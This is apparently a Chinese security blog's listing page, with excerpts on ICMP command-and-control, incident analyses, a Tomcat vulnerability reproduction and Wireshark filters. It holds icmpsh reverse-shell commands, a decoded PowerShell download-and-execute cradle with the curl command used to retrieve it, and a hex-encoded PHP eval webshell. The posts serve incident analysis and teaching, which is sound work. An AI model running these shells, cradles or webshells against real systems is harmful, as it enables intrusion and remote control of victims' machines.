通过ICMP进行命令控制和隧道传输

在本文中,您将了解通过ICMP-C2和ICMP隧道进行数据泄漏的RED TEAM操作,因为这两种方法都有助于规避防火墙规则,因为它们会在网络中产生不合理的流量。 表中的内容 ICMP协议工作概述 通过ICMP协议进行命令和控制 需求 icmpsh:C2通道及其安装 将icmpsh作为Master运行 将icmpsh作为Slave运行 ICMP隧道 需求 在服务器计算机上配置ICMP(目标) 通过客户端计算机配置ICMP隧道(入侵者) 通过ICMP连接SSH ICMP协议工作概述 Internet控制消息协议(ICMP)是Internet协议套件中的支持协议。网络设备(包括路由器)使用它来发送错误消息和操作信息,指示所请求的服务不可用或无法访问主机或路由器。 它是第3层,即ping命令用于通过ICMP有效载荷发送消息的网络层协议,ICMP有效载荷用IP报头分组封装。根据MTU,ICMP包的大小不能大于1500字节。 **网络层的ICMP数据包IP标头ICMP标题ICMP有效负载大小MTU(1500)**20个字节8个字节1472字节(最大)20 + 8 + 1472 = 1500 ping命令向目标主机发送ICMP回应请求。目标主机以echo Reply响应,这意味着目标主机处于活动状态。 从 这里 了解更多 通过ICMP协议进行命令和控制 在我们的许多出版物中,我们讨论过C2通道,它还被认为是命令和控制,所以你可以 在这里 找到它。虽然您很高兴学习如何使用ICMP协议作为本论文之间的命令和控制通道。 网络战正在闯入入侵者和安全研究员,因此,我们需要保留部分备份计划。众所周知,公司已经变得越来越聪明,他们理解在实现机器的TCP反向连接后,正在观察有关攻击的类型。 因此我们提出了ICMP秘密shell,并使用icmpsh作为命令和控制工具。 需求 攻击者机器或C2通道:192.168.1.108(Kali Linux) 主机:192.168.1.106(Windows 10) icmpsh:C2通道及其安装 icmpsh 是一个简单的反向ICMP shell,带有win32 slave和 CIX,Perl或Python中的POSIX兼容master。与其他类似的开源工具相比,其主要优势在于它不需要管理权限即可运行到目标计算机上。 该工具清洁,简单,便携。从属(客户端)在目标Windows机器上运行,它用C语言编写并且仅在Windows上运行,而主服务器(服务器)可以在攻​​击者机器上的任何平台上运行,因为它已经由Nico Leidecker在C和Perl中实现,后来它也被移植到Python中。 它非常容易安装和用作c2通道。将攻击者机器转为icmpsh并从Github下载icmpsh。 1 git clonehttps://github.com/inquisb/icmpsh.git 运行icmpsh作为Master(Kali Linux) 下载完成后,您可以使用以下命令运行主服务器。采取措施之前最重要的一步是禁用计算机上的ping回复。这可以防止内核响应ping数据包本身。 1 2 3 4 sysctl-wnet.ipv4.icmp_echo_ignore_all=1 cd icmpsh syntax:./icmpsh_m.py<attacker’s-IP> ./icmpsh_m.py192.168.1.108192.168.1.106 将icmpsh作为slave运行(Windows 10) 现在再次在主机内部安装icmpsh工具以作为从站运行,并且在目标系统上运行从站的用户不需要管理权限。 然后运行以下命令: 1 2 syntax:icmpsh.exe-t icmpsh.exe-t192.168.1.108 一旦在主机上执行上述命令,入侵者将具有作为从属设备运行的机器的反向外壳。您可以从下面给出的图像中观察到机器通过产生命令提示来控制从机。 ...

2019年7月30日 · 1 分钟 · lucien116

Oracle WebLogic漏洞攻击

最近,发现有使用Oracle WebLogic RCE反序列化漏洞(CVE-2018-2628) 进行攻击的活动。 攻击者在其请求中包含了PowerShell命令,且进过base64加密: 解码base64后代码如下: $OS=(GWmi Win32_OperatingSystem).Caption; $WC=New-Object Net.WebClient; $WC.Headers[‘User-Agent’]=“PowerShell/WL $OS”; IEX $WC.DownloadString(‘http://101.200.45.78/images/test/DL.php’); 攻击者试图在http://101.200.45.78/images/test/DL.php上获取DL.php文件。 尝试抓取该文件: ERROR 404?really? 可能是我在这里遗漏了什么? 让我们仔细分析命令: 我们可以看到攻击者在获取文件时需要用特定的User-Agent。 这就是为什么尝试直接wget / curl文件时,它失败了。 所以我们要做的是在获取文件时将User-Agent设置为完全相同。 在这种情况下,使用curl来获取文件: root@leopardbox:~# curl -v -H User-Agent: “PowerShell/WL Microsoft Windows 7 Professional” http://111.230.229.226/images/test/DL.php \* Trying 111.230.229.226… \* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0) GET /images/test/DL.php HTTP/1.1 Host: 111.230.229.226 Accept: */* User-Agent: PowerShell/WL Microsoft Windows 7 Professional < < HTTP/1.1 200 OK < Date: Sun, 29 Apr 2018 11:50:23 GMT ...

2019年7月29日 · 3 分钟 · lucien116

Wireshark过滤规则之:http数据包

http.host==magentonotes.com http.host contains magentonotes.com //过滤经过指定域名的http数据包,这里的host值不一定是请求中的域名 http.response.code==302 //过滤http响应状态码为302的数据包 http.response==1 //过滤所有的http响应包 http.request==1 //过滤所有的http请求,貌似也可以使用http.request http.request.method==POST //wireshark过滤所有请求方式为POST的http请求包,注意POST为大写 http.cookie contains guid //过滤含有指定cookie的http数据包 http.request.uri==”/online/setpoint” //过滤请求的uri,取值是域名后的部分 http.request.full_uri==” http://task.browser.360.cn/online/setpoint” //过滤含域名的整个url则需要使用http.request.full_uri http.server contains “nginx” //过滤http头中server字段含有nginx字符的数据包 http.content_type == “text/html” //过滤content_type是text/html的http响应、post包,即根据文件类型过滤http数据包 http.content_encoding == “gzip” //过滤content_encoding是gzip的http包 http.transfer_encoding == “chunked” //根据transfer_encoding过滤 http.content_length == 279 http.content_length_header == “279″ //根据content_length的数值过滤 http.server //过滤所有含有http头中含有server字段的数据包 http.request.version == “HTTP/1.1″ //过滤HTTP/1.1版本的http包,包括请求和响应 http.response.phrase == “OK” //过滤http响应中的phrase 原创文章,转载请注明:转载自 Web开发笔记 | Wireshark过滤规则之:http数据包

2018年11月14日 · 1 分钟 · lucien116

对某集团网站被入侵后的分析

通过监测发现,2018-8-28-15:30左右安全设备产生大量“上传漏洞攻击”和“一句话木马”的告警,发现攻击源为IP:110.185.170.221 地理位置:四川成都;被攻击IP:10.100.250.15 端口:81 ,该服务器为xxx公司网站英文版(www.xxx.com),如下图: 图1-告警信息 通过对告警流量的分析,发现攻击者通过发送POST请求向site.aspx页面提交并执行了一段代码(代码经过BASE64编码),随后网站返回了一个含有一句话木马内容的页面,正是这段一句话木马的内容触发的告警,如下图: 图2-发现一句话后门文件 随后对攻击者提交的POST数据进行分析,通过对BASE64编码的代码解码后,发现其最终执行的代码为:I:\website\xxx.com\aaa.asp (访问xxx.com网站根目录下的aaa.asp文件),而这个aaa.asp正是一个一句话后门。由此可以证实该网站已经被植入一句话木马,而site.aspx页面能够执行命令且查看文件的行为也很可疑。 通过对攻击IP:110.185.170.221的流量回溯分析后发现,从8月28日9:52开始改IP便开始对服务器10.00.250.15的80、81端口发起WEB扫描,如下图: 图3-web扫描 对HTTP访问日志的分析后发现,攻击者访问频率最高的为http://www.xxx.com.hk/Login.aspx和http://xxx.xx.xx.77:81/Upload/9/2000/site.aspx两个页面,如下图: 图4-1-页面访问 图4-2-页面访问 接着着重对这两个页面的数据进行分析。通过分析发现页面http://www.xxx.com.hk/Login.aspx为网站后台登录页面, 简单测试后发现该登陆页面没有设置登陆尝试次数限制和验证码等安全措施,且没有过滤用户的输入,存在SQL注入漏洞和暴力破解的风险,如下图: 图5-Login.aspx 分析相关数据包发现,攻击者正利用此页面发起暴力破解攻击和SQL注入攻击,如下图: 图6-暴力破解攻击 暴力破解不成功,随后发起SQL注入攻击,如下图: 图6- SQL注入攻击 攻击者通过sql注入漏洞,成功获取了用户名为“yangfang”的账号和登录密码并登录账号进入了后台,如下图: 图6-攻击者使用yangfang账号登录 登录后台后,从HTTP访问日志中可以发现攻击者便开始频繁访问http://xxx.xxx.xx.77:81/Upload/9/2000/site.aspx页面。这个site.aspx文件到底是网站原有的文件还是攻击者上传的可疑文件呢? 于是,先找到攻击者第一次访问site.aspx页面时的HTTP日志,发现在访问site.aspx页面之前攻击者还先POST请求了一个/visual.aspx?ucfi=&EVENT=***的页面,如下图: 图7- 上传页面 随后找到访问该页面时的流量,通过流量分析,发现该页面为后台文件管理的页面,攻击者通过此页面上传了site.aps文件到/Upload/9/2000目录下,从流量中可以看到site.aspx也是一个后门文件,如下图: 图8-上传一句话木马site.aspx 之后经证实,由于该页面未对上传的文件做任何检测和限制,攻击者正是通过此页面轻松上传了这个一句话木马文件site.aspx。 图7-文件上传点 在之后的分析中,同时在/Upload/9/2000目录下还发现了多个其他的后门文件,如下图: 图9-其他后门文件 由此可见该服务器早已经被多人控制,且上传了各种后门文件和程序,不排除攻击者通过后门已经提权成功获取了对整个服务器的控制权限。由于网站目录文件较多,且服务器上不止存在一个网站,建议及时删除已知的后门,并对网站全站以及服务器进行深入排查。

2018年8月31日 · 1 分钟 · lucien116

机器学习与网络安全相关的资料

外媒 KDnuggets 刊登了一篇机器学习与网络安全相关的资料大汇总,文中列出了相关数据源的获取途径,优秀的论文和书籍,以及丰富的教程。大部分都是作者在日常工作和学习中亲自使用并认为值得安利的纯干货。 数据源 SecRepo.com 网站,该网站汇聚了大量的与机器学习和网络安全相关的数据源,并提供免费下载。据网站首页介绍,所有可用的数据源包含两个部分:一是网站方面自己整理的,二是来自第三方的。其内容包括互联网扫描数据,恶意软件源码,以及和网络安全相关的系统日志等。 论文 1. Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks 本文来自卡内基梅隆大学,分析了通用符号密码的脆弱性,以及目前常见的密码健壮性检验的各种缺点,甚至给出了他们在实验室利用神经网络算法攻破各种符号密码的具体步骤,非常强大。 2. Outside the Closed World: On Using Machine Learning for Network Intrusion Detection 本文来自加州伯克利大学,分析了利用机器学习探测网络安全的优势和劣势,并给出了一些改善这些劣势的解决方案。 3. Anomalous Payload-Based Network Intrusion Detection 通常一个互联网上的恶意请求都会在真正的恶意代码外部包装一层善意的外衣,这大大阻碍了相关探测程序的正常工作。来自哥伦比亚大学的Ke Wang和Salvatore J. Stolfo两位学者在本文中给出了一种全新的探测恶意代码中有效代码段的方法,并在实测中达到了接近100%正确率和0.1%的误报率。 4. Malicious PDF detection using metadata and structural features 当前,随着防范措施的升级,恶意代码隐藏在PDF和Word等文本文件中的例子屡见不鲜,用户防不胜防。在本文中,来自乔治梅森大学的学者介绍了一种通过机器学习技术探测恶意文本文件的技术,特别是内含恶意代码的PDF文件。 5. Adversarial support vector machine learning 来自德州大学,介绍了两种利用机器学习技术探测网络恶意攻击的分析模型,即无边界攻击模型(free-range attack model)和限制边界攻击模型(restrained attack model)。 6. Exploiting machine learning to subvert your spam filter ...

2018年3月12日 · 3 分钟 · lucien116

一份安全分析师面试题

昨天做的一份关于安全分析的面试题,记录一下,有些地方回答得可能不是很全面,若有纰漏欢迎指出。 如何对邮件或web服务器的网络行为进行分析,写出你的方法、步骤和关键要点。 一、针对邮件服务器的web端进行网络行为的分析: 下面假设针对邮件服务器常出现的三种情况进行分析 1、暴力破解用户登录名和密码 分析方法: (1) 查看web端页面的访问流量情况是否异常,重点查看某一时间段内连接该web页面的IP情况,是否有同一IP请求大量重复连接的情况(有一些暴力破解攻击攻击者为了避免被防火墙、IDS等一些安全设备屏蔽,也会采用IP池、代理等多种方式频繁更换IP),如存在这种情况则进行深入分析。 (2) 通常web端的暴力破解攻击会产生大量的POST提交请求,查看HTTP请求的数据包,如果发现提交的HTTP请求的内容中含有大的量的相同账号,不同密码的登录尝试请求(也可能是大量的不同账号的登陆请求),则可断定为暴力破解攻击。 如下图: 图1-web暴力破解攻击 防御措施: 使用验证码进行验证登陆、限制用户尝试密码次数、邮箱用户密码设置强密码等。 2、 邮件系统内某一用户对外发送大量垃圾邮件 通常这种情况出现在用户邮箱被盗,或计算机中病毒(蠕虫病毒的情况较常见)之后。 分析方法: (1) 若用户邮件系统本身数据量较大可采用采样分析的方法,选择邮件系统较繁忙的时间段(如上班期间)抓包分析。 (2) 抓取网络流量中的SMTP、POP3协议的流量包,利用wireshark等分析工具的统计功能查看向外发送请求较多的IP地址。 (3) 针对对外请求较多的IP地址可以查看其发送的数据包里面所发送的邮件头信息,具体查看发送的频率(一般很快),其次查看收件人邮箱地址(通常对外发送垃圾邮件邮件的收件人地址多为一些怪异的邮箱地址,具体根据个人经验判断)、邮件内容(若未加密)是否为广告邮件或其他垃圾邮件,再可以查看发送出去的邮件的状态,大多数垃圾邮件发送出去之后一般会被对方服务器拒收,数据包里可以看到 “Sender denied”的标志。 (4) 通过上述几点可以综合判断用户是否存在用户邮箱的对外发送垃圾邮件影响邮件服务器性能的问题。 (5) 针对计算机中蠕虫病毒之后对外发送垃圾邮件的情况,通常计算机在发送垃圾邮件之前会向外连接远程服务器下载邮箱地址列表,然后再对列表中的邮件地址发送垃圾邮件。同时蠕虫病毒本身具有传播性,还会伴随着内网扫描、尝试邮箱用户密码(该操作通常也会下载尝试的用户名和密码文件)等操作。可以通过这些特征来发现邮件服务器中的异常行为,蠕虫病毒分析具体技术细节就不再赘述。 防御措施: 加强服务器自身的安全性及时打补丁、安装杀毒软件、邮箱用户密码设置强密码等。 3、 针对其他类型web服务器主机的流量分析 首先要知道WEB服务器如果出现问题,常见的大致可以分为三个方面的问题:被植入后门、遭受DDOS攻击、网站存在漏洞被利用。下面从这三个方面大致讲述。 分析方法: (1) 被植入后门(这里只针对被植入webshell的情况,服务器自身被植入后门不做分析) 通常网站在被植入webshell之后,黑客会进行webshell的访问。若是在线监测分析可在监测工具中加入常见webshell特征(如一些一句话木马常用的函数“eval()”、”execute()”、wscipt.shell等)进行在线监测,查看是否有IP连接具有这些危险函数的页面,如果有再进行下一步的深入分析查看该页面是否是正常网站页面(通常情况一般web文件不会包含上述特征)。同时也可以通过查看数据包中HTTP是否有对可疑页面文件(如1.jsp等)的请求,判断是否被植入后门。以上方法缺点是在数据量较大的情况下可能存在较多的误报,人工检测分析效率不高,所以最好还是借助安全设备和一些安全工具进行检测再对检测出的可疑数据进行分析确认。 顺便提一下目前比较流行的网站被植入挖矿代码的分析和检测。如果网站被植入挖矿代码,挖矿代码一定会连接矿池地址,在数据包中可针对矿池地址和一些常用的挖矿的端口进行检查。 (2) 遭受DDOS攻击 DDOS攻击类型多种,以下只挑选两种较有代表性的攻击举例。 SYN flood攻击。短时间内通过大量的IP向web服务器发送请求连接的半开TCP数据包,而不完成三次握手。所以这种攻击一般很明显,从整体流量上看,syn数据包的数据包会明显增加。 慢速HTTP POST 攻击。这种攻击不会像一般的DDOS攻击发送大量数据包暂用网络资源来导致WEB服务器拒绝服务。通常这类攻击在与服务器建立连接后会设定一个较大的content-length值,然后以很低的速度发包。针对这类攻击可以查看数据包中HTTP的POST请求中是否有IP发送content-length较大的数据包。经过之前对这种类型的攻击工具的分析,一般发包的时间是固定的,例如10S发一次包。 (3) 网站存在漏洞被利用 常见的web攻击方式一般有sql注入、文件上传、远程命令执行等。Sql注入攻击,结合以前的工作经验来看,大多数会先采用扫描的方式,那么数据包中可以看到大量的尝试sql注入的语句,大量的数据包不便于分析,所以可以排除掉一些返回404或者302状态的数据包,只查看一些有成功返回信息的请求数据包,再查看sql注入是否成功。当发现数据包中有ip大量尝试sql注入的话,也可以缩小范围只针对该IP的流量进行分析,重点查看该IPsql注入尝试完之后有无其他动作。文件上传攻击,例如一些网站上传用户头像的地方对上传文件的过滤不严格攻击者可能会上传一句话图片木马,所以可以在数据包中查看上传的文件内容,是否包含可疑代码。远程命令执行,这种类型的攻击可以直接过滤查看出数据包中是否还有一些危险命令的数据包(例如 net user xxx xx/add、cmd等这类命令)。 抓取网络中的SMTP/POP3、QQ、HTTP等流量,通过数据包的分析能获取哪些关键参数 下面列举一些较有用的可能不完全: SMTP/POP3: USER、PASS (用户登录名、密码) EHLO (发送方的主机名) MAIL FROM/RCPT TO (发送方/接收方地址) HTTP: GET/POST (请求的类型,后面是请求的页面) HOST (主机名和端口号,通常为域名) User-Agent (发送请求的客户端信息。特殊情况:如爬虫访问、扫描器扫描) “200、404、302“等 (服务器返回的响应码) QQ: QQ的协议加密,从数据包中获取不到什么关键参数。 ...

2018年3月6日 · 1 分钟 · lucien116

记一次服务器被入侵后的分析

通过系统日志发现问题参数为channel,文件为onetrans.php,打开onetrans.php查看,如下图 图-1 onetrans.php 从onetrans.php中看到改文件还包含了一个phpagi-asmanager-elastix.php文件,打开phpagi-asmanager-elastix.php查看,如下图: 图-2 phpagi-asmanager-elastix.php 通过phpagi-asmanager-elastix.php可以发现该web系统是使用的Asterisk,攻击者是通过API提供的Command远程命令执行写入了一句话木马,如下图 图-3 写入一句话木马 从上图可以发现攻击者使用system()函数执行的命令,其中“3c3f706870206576616c28245f504f53545b2261353130303933353431313638383635225d293b3f3e”为十六进制编码的一句话木马,用xxd命令( -P:以 postscript的连续十六进制转储输出,这也叫做纯十六进制转储,和-r:逆向操作: 把xxd的十六进制输出内容转换回原文件的二进制内容。)最后把一句话输出到smart.inc.class.php。 但是从日志文件看,里面还有Action:Command、ActionID:1这样的字符串,于是上网查了查这个Asterisk。发现攻击者正是利用了这个API提供的Command命令进行的攻击。 Manager API简介 Asterisk管理接口(AMI)允许外部客户端程连接到Asterisk实例,并且可以通过TCP/IP流发送命令和读取事件。在试图跟踪Asterisk内部电话状态进,它就显得特别有用。在服务端和客户端之间,用的是一种简单的"key: value"格式的协议。消息中,以CR/LF为换行符,以空行(两个CR/LF)为数据包终结符。 AMI协议 向Asterisk发送命令之前,必须先建立一个会话会话建立之后,服务端和客户端之间,可以在任意时候发送数据包客户端发给服务端的包,首行必须有一个”Action”关键字;服务端发给客户端的包,首行则必须有”Event”或”Response”关键字。一个数据包里,命令行的顺序是无关紧要的,所以可以用你熟悉的顺序来组织以CR/LF为换行符,CR/LF加空行(两个CR/LF)为包结束符,Asterisk收到包结束符时开始解析处理 包的类型 AMI的数据包类型,由首行里的关键字决定,目前有以下三种类型: Action:客户端发给Asterisk的包,请求执行某项特定的动作(Action)。客户端可执行的动作(可扩展的),取决于Asterisk加载的模块。一次执行一条命令。Action包含需要执行的操作名称和完成操作所需要的参数。Response:Asterisk对Action的响应包。Event:由Asterisk核心或外围模块生成的事件信息,用于通知客户端状态变化,比如电话呼入,有人加入或退出会议室,等等。 AMI配置 AMI的配置文件/etc/asterisk/manager.conf。AMI缺省的监听端口为5038,主要需要配置的内容是分配个用户,并授予执行的权限,配置实例: [general] enabled=yesport=5038bindaddr=0.0.0.0[manager]secret=XXXXXXpermit=0.0.0.0/0.0.0.0read=system,call,log,verbose,agent,command,userwrite=system,call,log,verbose,agent,command,user 配置项的详细内容,可参考http://www.asterisk.org/doxygen/trunk/Config_ami.html配置完成后,可以在CLI下查看manager用信息,操作实例如下: yjye*CLI> manager show users username ---—– admin ---—————- 1 manager users configured. AMI的命令列表可以通过在CLI下的manager show commands查看,我的环境里是这样的: yjye*CLI> manager show commands Action Privilege Synopsis —— ——— ——– WaitEvent Wait for an event to occur. QueueReset Reset queue statistics. QueueReload Reload a queue, queues, or any sub-section of a queue o QueueRule Queue Rules. QueuePenalty agent,all Set the penalty for a queue member. QueueLog agent,all Adds custom entry in queue_log. QueuePause agent,all Makes a queue member temporarily unavailable. QueueRemove agent,all Remove interface from queue. QueueAdd agent,all Add interface to queue. QueueSummary Show queue summary. QueueStatus Show queue status. Queues Queues. MuteAudio system,all Mute an audio stream MixMonitorMute Mute / unMute a Mixmonitor recording. VoicemailUsersL call,reporting, List All Voicemail User Information. PlayDTMF call,all Play DTMF signal on a specific channel. SKINNYshowline system,reportin Show SKINNY line (text format). SKINNYlines system,reportin List SKINNY lines (text format). SKINNYshowdevic system,reportin Show SKINNY device (text format). SKINNYdevices system,reportin List SKINNY devices (text format). IAXregistry system,reportin Show IAX registrations. IAXnetstats system,reportin Show IAX Netstats. IAXpeerlist system,reportin List IAX Peers. IAXpeers system,reportin List IAX peers. AgentLogoff agent,all Sets an agent as no longer logged in. Agents agent,all Lists agents and their status. SIPnotify system,all Send a SIP notify. SIPshowregistry system,reportin Show SIP registrations (text format). SIPqualifypeer system,reportin Qualify SIP peers. SIPshowpeer system,reportin show SIP peer (text format). SIPpeers system,reportin List SIP peers (text format). LocalOptimizeAw system,call,all Optimize away a local channel when possible. AGI agi,all Add an AGI command to execute by Async AGI. UnpauseMonitor call,all Unpause monitoring of a channel. PauseMonitor call,all Pause monitoring of a channel. ChangeMonitor call,all Change monitoring filename of a channel. StopMonitor call,all Stop monitoring a channel. Monitor call,all Monitor a channel. DBDelTree system,all Delete DB Tree. DBDel system,all Delete DB entry. DBPut system,all Put DB entry. DBGet system,reportin Get DB Entry. Bridge call,all Bridge two channels already in the PBX. Park call,all Park a channel. ParkedCalls List parked calls. ShowDialPlan config,reportin Show dialplan contexts and extensions AOCMessage aoc,all Generate an Advice of Charge message on a channel. ModuleCheck system,all Check if module is loaded. ModuleLoad system,all Module management. CoreShowChannel system,reportin List currently active channels. Reload system,config,a Send a reload event. CoreStatus system,reportin Show PBX core status variables. CoreSettings system,reportin Show PBX core settings (version etc). UserEvent user,all Send an arbitrary event. UpdateConfig config,all Update basic configuration. SendText call,all Send text message to channel. ListCommands List available manager commands. MailboxCount call,reporting, Check Mailbox Message Count. MailboxStatus call,reporting, Check mailbox. AbsoluteTimeout system,call,all Set absolute timeout. ExtensionState call,reporting, Check Extension Status. Command command,all Execute Asterisk CLI Command. Originate originate,all Originate a call. Atxfer call,all Attended transfer. Redirect call,all Redirect (transfer) a call. ListCategories config,all List categories in configuration file. CreateConfig config,all Creates an empty file in the configuration directory. Status system,call,rep List channel status. GetConfigJSON system,config,a Retrieve configuration (JSON format). GetConfig system,config,a Retrieve configuration. Getvar call,reporting, Gets a channel variable. Setvar call,all Set a channel variable. Ping Keepalive command. Hangup system,call,all Hangup channel. Challenge Generate Challenge for MD5 Auth. Login Login Manager. Logoff Logoff Manager. Events Control Event Flow. DataGet Retrieve the data api tree. ...

2017年12月4日 · 3 分钟 · lucien116

记一远程命令执行漏洞的修补过程

前些天一网友服务器被入侵种马帮忙查看修复漏洞,在删除后门之后通过查询服务器日志找到入侵者留下的攻击痕迹。如下图:(图为后补,我也不知道为啥他要wget baidu.com) 图1-服务器日志 通过日志可以发现漏洞存在于fw.php文件,入侵者通过执行wget 命令远程下载入侵者服务器上名为1.php的一句话后门。找到了问题所在接下来查看fw.php这个文件: 图2-修复前 通过图2可以看到该漏洞是因为没有严格限制用户提交的数据,入侵者通过“;”截断了CMD命令,从而导致执行了后面的wget命令。 所以我们需要对用户递交的数据进行过滤,让用户只能提交正确的数据(IP地址)。通过定义一个isOk_ip()函数,对用户提交的数据利用正则表达式过滤,便避免了这个漏洞。 修复后代码如下图: 图2-修复后

2017年11月7日 · 1 分钟 · lucien116

Apache Tomcat 信息泄露漏洞预警及远程代码执行漏洞复现

一、漏洞描述: 2017年9月19日,Apache Tomcat官方 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞(CVE-2017-12616)、远程代码执行漏洞(CVE-2017-12615) 1.1CVE-2017-12616 :信息泄露漏洞 当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。 1.2 远程代码执行漏洞( CVE-2017-12615 ) 如果Apache Tomcat服务器上启用了HTTP PUT请求方法(将web.xml中 readonly 初始化参数由默认值设置为 false),则可能存在远程代码执行漏洞。攻击者可以通过该漏洞上传jsp文件。 二、影响范围: 2.1信息泄露漏洞(CVE-2017-12616)影响范围: Apache Tomcat 7.0.0 – 7.0.80 2.2远程代码执行漏洞(CVE-2017-12615)影响范围: Apache Tomcat 5.x – 9.x 三、漏洞复现: 3.1 Apache Tomcat/7.0.79 修改/conf/web.xml Readonly的含义:当设置为false时,PUT、DELETE方法生效 发送PUT请求包 思路可参考https://msdn.microsoft.com/en-us/library/dn393272.aspx 成功创建jsp文件 3.2 Apache Tomcat/7.0.81 上传失败 由于tomcat 对jsp做了一定处理。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性,前面的流程中 topsec.jsp/ 识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽略掉。 修改文件名格式后再次提交请求: 3.3 Apache Tomcat/8.5.20 Linux ...

2017年10月23日 · 1 分钟 · lucien116

前端常用的几种弹窗函数

1、alert("") 弹窗:提示 alert弹窗使我们写js时使用最多的一种弹窗,主要作为提示,一般我们经常用来测试js某段代码是否有没有出错。 例://弹出对话框并输出一段提示信息 function prompt() { //弹出一个对话框 alert(“提示信息!”); } 2、confirm("") 弹窗:判断是否进行某一个操作 confirm() 方法主要用于显示一个带有指定消息和 OK 及取消按钮的对话框。如用户点击确定按钮,则返回 true。如点击取消,则返回 false。在点击确定或取消按钮关闭之前,它将阻止用户对浏览器的所有输入。 例://弹出一个询问框,有确定和取消按钮 function firm() { //利用对话框返回的值 (true 或者 false) if (confirm(“你确定提交吗?”)) { alert(“点击了确定”); } else { alert(“点击了取消”); } } 3、prompt("") 弹窗:用于输入文本内容 prompt("") 弹窗方法用于显示可提示用户进行输入的对话框。如用户单击取消按钮,则返回 null。如单击确认按钮,则返回输入的文本。在点击确定或取消关闭之前,它将阻止用户对浏览器的所有输入。在调用 prompt() 时,在用户作出响应之前,不会执行下一条语句。 例://弹出一个输入框,输入一段文字,可以提交 function prom() { var name = prompt(“请输入您的名字”, “”); //将输入的内容赋给变量 name , //这里需要注意的是,prompt有两个参数,前面是提示的话,后面是当对话框出来后,在对话框里的默认值 if (name)//如果返回的有内容 { alert(“欢迎您:” + name) } }

2017年7月27日 · 1 分钟 · lucien116